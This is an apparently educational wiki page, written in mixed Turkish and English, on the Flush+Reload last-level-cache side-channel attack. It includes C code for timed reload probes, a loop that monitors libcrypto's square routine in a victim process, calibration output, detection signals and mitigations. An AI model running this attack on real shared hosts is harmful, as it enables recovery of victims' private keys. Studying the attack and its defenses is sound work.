Flush+Reload¶
Bir shared cache line'ın reload süresini ölç ve victim'ın ona dokunup dokunmadığını öğren — high-resolution, low-noise bir last-level-cache side channel.
Mechanism¶
Neden çalışır
Modern bir CPU'nun last-level cache'i (LLC) core'lar arasında inclusive
ve shared'tir. Aynı physical page'i map'leyen iki process (bir shared
library, bir memory-mapped file, bir deduplicated page) o page için aynı
cache line'ları paylaşır. clflush bir line'ı sadece local core'dan değil,
tüm cache hierarchy'sinden evict eder. Böylece attacker şunu yapabilir:
- Seçtiği bir line'ı LLC'den flush'lar (öyle ki her core onda miss eder).
- Victim çalışırken bekler.
- Line'ı reload eder ve access'i time'lar.
Hızlı bir reload (~50–100 cycle) line'ın cache'ten geldiği anlamına gelir — biri onu geri getirdi, yani victim ona access etti. Yavaş bir reload (~200–300+ cycle) DRAM'den fetch edildiğini gösterir — victim ona dokunmadı. Suistimal edilen invariant: cache state, başka bir process'in memory access'lerinin shared, gözlemlenebilir bir side effect'idir.
Sinyal keskindir çünkü LLC'yi hedefler (cross-core görünür) ve clflush
kullanır, bu da çok az gürültüyle temiz bir flushed→reloaded geçişi sağlar —
işte bu yüzden "high resolution, low noise". Ünlü bir örnekte, square/multiply
code line'larını izleyerek tek bir GnuPG imzalama turunda bir RSA private
key'inin >%98'ini recover eder.
Walkthrough¶
İki primitive, doğru bir timer (rdtsc/rdtscp) ve clflush'tır.
// gcc -O2 flushreload.c -o fr (x86-64)
#include <stdint.h>
#include <x86intrin.h> // __rdtscp, _mm_clflush
static inline uint64_t probe(const void *addr) {
unsigned aux;
uint64_t t0 = __rdtscp(&aux); // serialized read of TSC
(void)*(volatile char *)addr; // the timed access
uint64_t t1 = __rdtscp(&aux);
_mm_clflush(addr); // flush for the next round
return t1 - t0; // cycles
}
Bir victim'ı monitor etmek için, victim'ın da map'lediği shared object'i mmap'le
(böylece physical page — ve onun cache line'ları — shared olur), ilgilendiğin
line'ı seç ve flush → wait → reload loop'la:
int fd = open("/usr/lib/x86_64-linux-gnu/libcrypto.so.3", O_RDONLY);
size_t len = lseek(fd, 0, SEEK_END);
char *base = mmap(NULL, len, PROT_READ, MAP_SHARED, fd, 0); // shared mapping
char *target = base + OFFSET_OF_SQUARE_FUNC; // a code line in the victim path
for (;;) {
_mm_clflush(target);
nanosleep(&slot, NULL); // give the victim a time slot to run
uint64_t t = probe(target); // fast => victim executed that line
if (t < THRESHOLD) record_hit();
}
Önce THRESHOLD'u kalibre et — cached ve uncached reload sürelerini örnekle ve
iki tepe arasındaki vadiyi seç:
$ ./fr --calibrate
cached reload: ~78 cycles (P50)
uncached reload: ~255 cycles (P50)
threshold chosen: 150 cycles
Bir kalibrasyon koşusundan histogram (collapsed)
Channel bu kadar temiz olduğu için, monitor edilen line'ların bir dizisi (örneğin square, reduce ve multiply routine'leri) victim'ın control-flow trace'ini ve dolayısıyla secret-dependent branch'leri yeniden inşa eder.
Detection¶
- HPC monitoring: anormal derecede yüksek
cache-misses/LLC-load-missesve yoğunclflushretirement. Şüpheli bir process üzerindeperf stat -e cache-misses,L1-dcache-load-missesbu dengesizliği gösterir. - Sıkı
rdtsc+clflushloop'ları güçlü bir behavioral signature'dır; bazı EDR/CPU özellikleri (örneğin Intel PMU tabanlı detector'lar) bunları işaretler.
Mitigation¶
- Secret-dependent code/data'nın memory sharing'inden kaçın (trust boundary'ler
boyunca page dedup / KSM'yi disable et;
MADV_UNMERGEABLE). - Constant-time code: hiçbir secret-dependent memory address veya branch yok, böylece access edilen cache line'lar secret'tan bağımsız olur.
- Sandbox'larda
clflush/ high-resolution timer'ları kısıtla (örneğin browser'lar Spectre sonrasıperformance.now()'u kabalaştırdı veSharedArrayBuffertimer'larını kaldırdı).
References¶
- Yuval Yarom, Katrina Falkner. FLUSH+RELOAD: A High Resolution, Low Noise, L3 Cache Side-Channel Attack. USENIX Security 2014 — https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/yarom
- Full paper (IACR ePrint 2013/448) — https://eprint.iacr.org/2013/448